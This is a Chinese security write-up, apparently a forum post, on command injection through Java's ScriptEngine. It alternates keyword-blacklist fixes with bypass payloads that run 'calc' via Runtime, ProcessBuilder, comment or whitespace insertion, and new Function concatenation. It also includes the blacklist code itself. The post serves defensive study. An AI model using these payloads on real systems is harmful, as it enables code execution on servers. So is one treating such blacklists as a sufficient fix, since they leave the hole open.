java中js命令执行的攻与防

起因

前几天做安全测试,发现了一个可以执行js代码的地方,然后通过代码审计发现存在命令执行。作为甲方公司安全人员,如何攻击和修复都需要考虑。一边思考着让开发如何修,一边想着如何绕过修好的黑名单,于是一场左右手的博弈就这样悄无声息地开始了。

过程

0x01 漏洞发现

当时通过代码审计,发现执行js之前会有一个简单的正则校验,主要检查是否存在字段: function mainOutput(){} 。如果传入的字符串符合正则就会调用 javax.script.ScriptEngine 类来解析js并执行js代码。

//正则表达式
String JAVASCRIPT_MAIN="[\\s\\S]*"+"function"+"\\s+"+"mainOutput"+"[\\s\\S]*";
//传入的字符串
String test="print('hello word!!');function mainOutput() {}";
//代码执行的地方
if (Pattern.matches(JAVASCRIPT_MAIN,test)){
    ScriptEngineManager manager = new ScriptEngineManager(null);
    ScriptEngine engine = manager.getEngineByName("js");
    engine.eval(test);
}

因为scriptEngine的相关特性,可以执行java代码,所以当我们把test替换为如下代码,就可以命令执行了。

String test="var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc")};";

0x02 漏洞修复讨论

至此,我已经发现了这个比较简单的命令执行漏洞,然后我写了报告,觉得已经完事了。但是,事情不是这么发展的。因为解决这个问题的根本方法是底层做沙箱,或者上js沙箱。但是底层沙箱和js沙箱都做不到,一个过于复杂另外一个过于影响效率(效率降低了10倍,这是一个产品不能接受的)。
所以我们就需要找到一个其他方法了,新的思路就是黑名单或者白名单。为了灵活性(灵活性是安全的最大敌人),为了客户方便,不可能采取白名单,所以只能使用黑名单了。

0x03 第一次博弈

这是开发第一次发给我的代码,可以看出来,使用黑名单对一些关键字做了一些过滤。这些关键字都来自于阿里云的java沙箱整合的关键字。链接地址:
https://github.com/AlibabaCloudDocs/odps/blob/master/cn.zh-CN/%E7%94%A8%E6%88%B7%E6%8C%87%E5%8D%97/Java%E6%B2%99%E7%AE%B1.md

class KeywordCheckUtils {

    private static final Set<String> blacklist = Sets.newHashSet(
            // Java 全限定类名
            "java.io.File", "java.io.RandomAccessFile", "java.io.FileInputStream", "java.io.FileOutputStream",
            "java.lang.Class", "java.lang.ClassLoader", "java.lang.Runtime", "java.lang.System", "System.getProperty",
            "java.lang.Thread", "java.lang.ThreadGroup", "java.lang.reflect.AccessibleObject", "java.net.InetAddress",
            "java.net.DatagramSocket", "java.net.DatagramSocket", "java.net.Socket", "java.net.ServerSocket",
            "java.net.MulticastSocket", "java.net.MulticastSocket", "java.net.URL", "java.net.HttpURLConnection",
            "java.security.AccessControlContext",
            // JavaScript 方法
            "eval", "new function");

    public KeywordCheckUtils() {
        // 空构造方法
    }

    public static void checkInsecureKeyword(String code) throws Exception {
        Set<String> insecure =
                blacklist.stream().filter(s -> StringUtils.containsIgnoreCase(code, s)).collect(Collectors.toSet());
        if (!CollectionUtils.isEmpty(insecure)) {
            throw new Exception("输入字符串不是安全的");
        }else{
            ScriptEngineManager manager = new ScriptEngineManager(null);
            ScriptEngine engine = manager.getEngineByName("js");
            engine.eval(code);
        }

    }
}

我们可以清楚地看到。Runtime类被禁用了,有没有一些没有被禁用的函数呢,有没有一些可能绕过的思路呢?
我的第二次攻击就开始了。
我找到了新的可以使用的函数ProcessBuilder使用注释绕过的方法。

//黑名单中没有注释的类
String test="var a = mainOutput(); function mainOutput() { var x=new java.lang.ProcessBuilder; x.command(\"calc\"); x.start();return true;};";
//在点两边可以添加注释绕过过滤
String test="var a = mainOutput(); function mainOutput() { var x=java.lang./****/Runtime.getRuntime().exec(\"calc\");};";

0x04 第二次博弈

过了一会研发给我发了新的检测类,可以看到它主要做了两个处理,过滤了注释和多个空格换一个。

import com.google.common.collect.Sets;
import java.util.Set;
import java.util.stream.Collectors;
import org.apache.commons.lang3.StringUtils;
import org.springframework.util.CollectionUtils;

public class KeywordCheckUtils {

    private static final Set<String> blacklist = Sets.newHashSet(
            // Java 全限定类名
            "java.io.File", "java.io.RandomAccessFile", "java.io.FileInputStream", "java.io.FileOutputStream",
            "java.lang.Class", "java.lang.ClassLoader", "java.lang.Runtime", "java.lang.System", "System.getProperty",
            "java.lang.Thread", "java.lang.ThreadGroup", "java.lang.reflect.AccessibleObject", "java.net.InetAddress",
            "java.net.DatagramSocket", "java.net.DatagramSocket", "java.net.Socket", "java.net.ServerSocket",
            "java.net.MulticastSocket", "java.net.MulticastSocket", "java.net.URL", "java.net.HttpURLConnection",
            "java.security.AccessControlContext", "java.lang.ProcessBuilder",
            // JavaScript 方法
            "eval","new function");

    private KeywordCheckUtils() {
        // 空构造方法
    }
    public static void checkInsecureKeyword(String code) {
        // 去除注释
        String removeComment = StringUtils.replacePattern(code, "(?:/\\*(?:[^*]|(?:\\*+[^*/]))*\\*+/)|(?://.*)", "");
        // 多个空格替换为一个
        String finalCode = StringUtils.replacePattern(removeComment, "\\s+", " ");
        Set<String> insecure = blacklist.stream().filter(s -> StringUtils.containsIgnoreCase(finalCode, s))
                .collect(Collectors.toSet());
        if (!CollectionUtils.isEmpty(insecure)) {
            throw new Exception("输入字符串不是安全的");
        }
    }
}

为什么要这么做呢?因为黑名单中有一个new function。为了检测new function,所以他多个空格换成一个空格。到这里我就突然想到了空格,既然注释可以绕过,空格是不是也可以绕过呢。然后就绕过了。

String test="var a = mainOutput(); function mainOutput() { var x=java.lang.   Runtime.getRuntime().exec(\"calc\");};";

0x05最后的修复代码

因为其他内容未做改变,所以只贴出改变的内容。最后的过滤呢,先过滤了注释,然后在去匹配过滤空格和剩下一个空格的。
这一步的操作就是为了匹配new function。

// 去除注释
String removeComment = StringUtils.replacePattern(code, "(?:/\\*(?:[^*]|(?:\\*+[^*/]))*\\*+/)|(?://.*)", "");
// 去除空格
String removeWhitespace = StringUtils.replacePattern(removeComment, "\\s+", "");
// 多个空格替换为一个
String oneWhiteSpace = StringUtils.replacePattern(removeComment, "\\s+", " ");
Set<String> insecure = blacklist.stream().filter(s -> StringUtils.containsIgnoreCase(removeWhitespace, s) ||
                                                 StringUtils.containsIgnoreCase(oneWhiteSpace, s)).collect(Collectors.toSet());

0x06 一些总结

  • 为什么要禁用new function呢?这是因为js的特性,可以使用js返回一个新的对象,如下面的字符串。可以看到这种情况就很难通过字符串匹配来过滤了。

    var x=new Function('return'+'(new java.'+'lang.ProcessBuilder)')();  x.command("calc"); x.start(); var a = mainOutput(); function mainOutput() {};
    
  • 黑名单总是存在潜在的风险,总会出现新的绕过思路。而白名单就比黑名单好很多,但是又失去了很多灵活性。

点击收藏 | 1 关注 | 2
登录 后跟帖